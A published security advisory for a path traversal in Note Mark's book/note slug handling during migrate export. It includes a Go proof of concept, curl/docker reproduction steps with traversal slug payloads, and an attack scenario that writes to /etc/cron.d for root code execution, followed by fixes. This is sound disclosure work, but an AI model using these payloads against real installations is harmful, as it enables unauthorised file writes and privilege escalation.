GHSA-RQRH-8WPV-X7HH

Vulnerability from github – Published: 2026-07-09 13:41 – Updated: 2026-07-09 13:41
VLAI
Summary
Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)
Details

Summary

Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.

The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.

This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.

Vulnerable code

Slug input validation (backend/db/types.go, v0.19.4):

type CreateBook struct {
    Name     string `json:"name" required:"true" minLength:"1" maxLength:"80"`
    Slug     string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
    IsPublic bool   `json:"isPublic,omitempty" default:"false"`
}

type CreateNote struct {
    Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
    Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}

huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):

// schema.go
if s.Pattern != "" {
    s.patternRe = regexp.MustCompile(s.Pattern)
// validate.go
if s.patternRe != nil {
    if !s.patternRe.MatchString(str) {
        res.Add(path, v, s.msgPattern)

regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.

Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:

// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
    bookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw
    for _, note := range book.Notes {
        noteDir := path.Join(bookDir, note.Slug)                // note.Slug raw
        if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
            return err
        }
        f, err := os.Create(path.Join(noteDir, "_index.md"))    // escapes exportDir
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
    log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
    continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))

Impact

A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.

Attack scenario

  1. Attacker registers / uses any normal user account.
  2. Attacker POST /api/books (or a note) with slug = ../../../../../../etc/cron.d/x (passes the unanchored [a-z0-9-]+ pattern). Stored verbatim.
  3. Admin runs note-mark migrate export-v1 --export-dir /data/backup (root).
  4. Exporter does path.Join("/data/backup", username, "../../../../../../etc/cron.d/x") which yields /etc/cron.d/x, then os.MkdirAll creates it and os.Create(path.Join(noteDir, "_index.md")) writes attacker-influenced content outside /data/backup.

Proof of concept

Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.

// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main

import (
    "context"
    "fmt"
    "net/http"
    "net/http/httptest"
    "os"
    "path"
    "strings"

    "github.com/danielgtaylor/huma/v2"
    "github.com/danielgtaylor/huma/v2/adapters/humago"
)

// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
    Name     string `json:"name" required:"true" minLength:"1" maxLength:"80"`
    Slug     string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
    IsPublic bool   `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
    Body struct {
        Slug string `json:"slug"`
    }
}

func main() {
    mux := http.NewServeMux()
    api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
    var stored string
    huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
        func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
            stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
            out := &CreateBookOutput{}
            out.Body.Slug = in.Body.Slug
            return out, nil
        })

    const traversalSlug = `../../../../../../tmp/nmpoc-escape`
    body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
    req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
    req.Header.Set("Content-Type", "application/json")
    rec := httptest.NewRecorder()
    mux.ServeHTTP(rec, req)
    fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)

    // Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
    negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
    negReq.Header.Set("Content-Type", "application/json")
    negRec := httptest.NewRecorder()
    mux.ServeHTTP(negRec, negReq)
    fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)

    // Export sink expression from backend/cli/migrate.go:187,191,203.
    exportDir := "/tmp/nmpoc-exportroot"
    _ = os.RemoveAll(exportDir)
    _ = os.RemoveAll("/tmp/nmpoc-escape")
    _ = os.MkdirAll(exportDir, 0o755)
    bookDir := path.Join(exportDir, "victim", stored)
    noteDir := path.Join(bookDir, "n")
    _ = os.MkdirAll(noteDir, 0o755)
    outPath := path.Join(noteDir, "_index.md")
    _ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
    escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
    fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
    if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
        fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
    }
}

Verbatim output (go run ., huma v2.37.3, go1.26.1):

[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"

The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.

End-to-end reproduction

Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):

# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
  -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \
  | sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')
# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
  -b "Auth-Session-Token=$TOKEN" \
  -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
#    response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/

The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).

Suggested fix

Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:

bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
    log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
    continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)

Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.

Affected versions

<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).

Fix PR

A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/enchant97/note-mark/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260601210719-67b7de04308a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:41:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNote Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:\"[a-z0-9-]+\"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.\n\nThe data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.\n\nThis is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` \u2014 used in the very same `path.Join` calls in the same two export functions \u2014 were left raw, and their input-side `pattern` guard is bypassable as shown above.\n\n## Vulnerable code\n\nSlug input validation (`backend/db/types.go`, v0.19.4):\n\n```go\ntype CreateBook struct {\n\tName     string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug     string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool   `json:\"isPublic,omitempty\" default:\"false\"`\n}\n\ntype CreateNote struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n}\n```\n\nhuma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`):\n\n```go\n// schema.go\nif s.Pattern != \"\" {\n\ts.patternRe = regexp.MustCompile(s.Pattern)\n```\n\n```go\n// validate.go\nif s.patternRe != nil {\n\tif !s.patternRe.MatchString(str) {\n\t\tres.Add(path, v, s.msgPattern)\n```\n\n`regexp.MatchString(\"[a-z0-9-]+\", \"../../../../tmp/escape\")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.\n\nExport sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:\n\n```go\n// commandMigrateExportDataV1 / commandMigrateExportData\nfor _, book := range user.Books {\n\tbookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw\n\tfor _, note := range book.Notes {\n\t\tnoteDir := path.Join(bookDir, note.Slug)                // note.Slug raw\n\t\tif err := os.MkdirAll(noteDir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf, err := os.Create(path.Join(noteDir, \"_index.md\"))    // escapes exportDir\n```\n\n```go\n// the same functions DO sanitize the sibling asset name:\nassetFileName := filepath.Base(asset.Name)\nif assetFileName == \"/\" || assetFileName == \".\" {\n\tlog.Printf(\"disallowed asset filename found \u0027%s\u0027, skipping\\n\", asset.Name)\n\tcontinue\n}\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+assetFileName))\n```\n\n## Impact\n\nA low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note\u0027s `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.\n\n## Attack scenario\n\n1. Attacker registers / uses any normal user account.\n2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.\n3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).\n4. Exporter does `path.Join(\"/data/backup\", username, \"../../../../../../etc/cron.d/x\")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, \"_index.md\"))` writes attacker-influenced content outside `/data/backup`.\n\n## Proof of concept\n\nSelf-contained Go reproducer pinning `huma v2.37.3` (Note Mark\u0027s exact version) and Note Mark\u0027s exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.\n\n```go\n// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/danielgtaylor/huma/v2\"\n\t\"github.com/danielgtaylor/huma/v2/adapters/humago\"\n)\n\n// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.\ntype CreateBook struct {\n\tName     string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug     string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool   `json:\"isPublic,omitempty\" default:\"false\"`\n}\ntype CreateBookInput struct{ Body CreateBook }\ntype CreateBookOutput struct {\n\tBody struct {\n\t\tSlug string `json:\"slug\"`\n\t}\n}\n\nfunc main() {\n\tmux := http.NewServeMux()\n\tapi := humago.New(mux, huma.DefaultConfig(\"note-mark-poc\", \"1.0.0\"))\n\tvar stored string\n\thuma.Register(api, huma.Operation{OperationID: \"create-book\", Method: http.MethodPost, Path: \"/api/books\"},\n\t\tfunc(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {\n\t\t\tstored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim\n\t\t\tout := \u0026CreateBookOutput{}\n\t\t\tout.Body.Slug = in.Body.Slug\n\t\t\treturn out, nil\n\t\t})\n\n\tconst traversalSlug = `../../../../../../tmp/nmpoc-escape`\n\tbody := fmt.Sprintf(`{\"name\":\"x\",\"slug\":%q}`, traversalSlug)\n\treq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(body))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\trec := httptest.NewRecorder()\n\tmux.ServeHTTP(rec, req)\n\tfmt.Printf(\"[validation] slug=%q status=%d stored=%q\\n\", traversalSlug, rec.Code, stored)\n\n\t// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.\n\tnegReq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(`{\"name\":\"x\",\"slug\":\"@@@@\"}`))\n\tnegReq.Header.Set(\"Content-Type\", \"application/json\")\n\tnegRec := httptest.NewRecorder()\n\tmux.ServeHTTP(negRec, negReq)\n\tfmt.Printf(\"[neg-control] slug=\\\"@@@@\\\" status=%d (expect 422)\\n\", negRec.Code)\n\n\t// Export sink expression from backend/cli/migrate.go:187,191,203.\n\texportDir := \"/tmp/nmpoc-exportroot\"\n\t_ = os.RemoveAll(exportDir)\n\t_ = os.RemoveAll(\"/tmp/nmpoc-escape\")\n\t_ = os.MkdirAll(exportDir, 0o755)\n\tbookDir := path.Join(exportDir, \"victim\", stored)\n\tnoteDir := path.Join(bookDir, \"n\")\n\t_ = os.MkdirAll(noteDir, 0o755)\n\toutPath := path.Join(noteDir, \"_index.md\")\n\t_ = os.WriteFile(outPath, []byte(\"PWNED-NOTE-CONTENT\\n\"), 0o644)\n\tescaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+\"/\")\n\tfmt.Printf(\"[export] joined=%q escapedExportDir=%v\\n\", outPath, escaped)\n\tif d, err := os.ReadFile(\"/tmp/nmpoc-escape/n/_index.md\"); err == nil {\n\t\tfmt.Printf(\"[export] SENTINEL written OUTSIDE exportDir =\u003e %q\\n\", strings.TrimSpace(string(d)))\n\t}\n}\n```\n\nVerbatim output (`go run .`, huma v2.37.3, go1.26.1):\n\n```\n[validation] slug=\"../../../../../../tmp/nmpoc-escape\" status=200 stored=\"../../../../../../tmp/nmpoc-escape\"\n[neg-control] slug=\"@@@@\" status=422 (expect 422)\n[export] joined=\"/tmp/nmpoc-escape/n/_index.md\" escapedExportDir=true\n[export] SENTINEL written OUTSIDE exportDir =\u003e \"PWNED-NOTE-CONTENT\"\n```\n\nThe traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.\n\n## End-to-end reproduction\n\nAgainst the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):\n\n```bash\n# 1. start\ndocker run -d --name nm -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" \\\n  -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.4\n# 2. register + login (capture Auth-Session-Token cookie)\ncurl -s -X POST localhost:8080/api/users -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"a\"}\u0027\nTOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}\u0027 \\\n  | sed -n \u0027s/.*Auth-Session-Token=\\([^;]*\\).*/\\1/p\u0027)\n# 3. create a book with a traversing slug \u2014 passes the [a-z0-9-]+ pattern\ncurl -s -X POST localhost:8080/api/books -H \u0027Content-Type: application/json\u0027 \\\n  -b \"Auth-Session-Token=$TOKEN\" \\\n  -d \u0027{\"name\":\"x\",\"slug\":\"../../../../../../tmp/nmpoc-escape\"}\u0027\n#    response echoes \"slug\":\"../../../../../../tmp/nmpoc-escape\" (accepted, 200/201)\n# 4. add a note under that book (any valid note slug), then trigger admin export\ndocker exec nm /note-mark migrate export-v1 --export-dir /data/backup\n# 5. observe the note _index.md written outside /data/backup\ndocker exec nm ls -la /tmp/nmpoc-escape/\n```\n\nThe self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).\n\n## Suggested fix\n\nApply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:\n\n```go\nbookSlug := filepath.Base(book.Slug)\nnoteSlug := filepath.Base(note.Slug)\nif bookSlug != book.Slug || noteSlug != note.Slug {\n\tlog.Printf(\"disallowed slug found, skipping book=%q note=%q\\n\", book.Slug, note.Slug)\n\tcontinue\n}\nbookDir := path.Join(exportDir, user.Username, bookSlug)\nnoteDir := path.Join(bookDir, noteSlug)\n```\n\nRoot cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:\"^[a-z0-9-]+$\"`, or reject `strings.ContainsAny(slug, \"/\\\\.\")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:\"[a-zA-Z0-9]+\"`) is also unanchored and should be anchored for the same reason.\n\n## Affected versions\n\n`\u003c= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).\n\n## Fix PR\n\nA fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.\n\n## Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-rqrh-8wpv-x7hh",
  "modified": "2026-07-09T13:41:35Z",
  "published": "2026-07-09T13:41:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/enchant97/note-mark"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…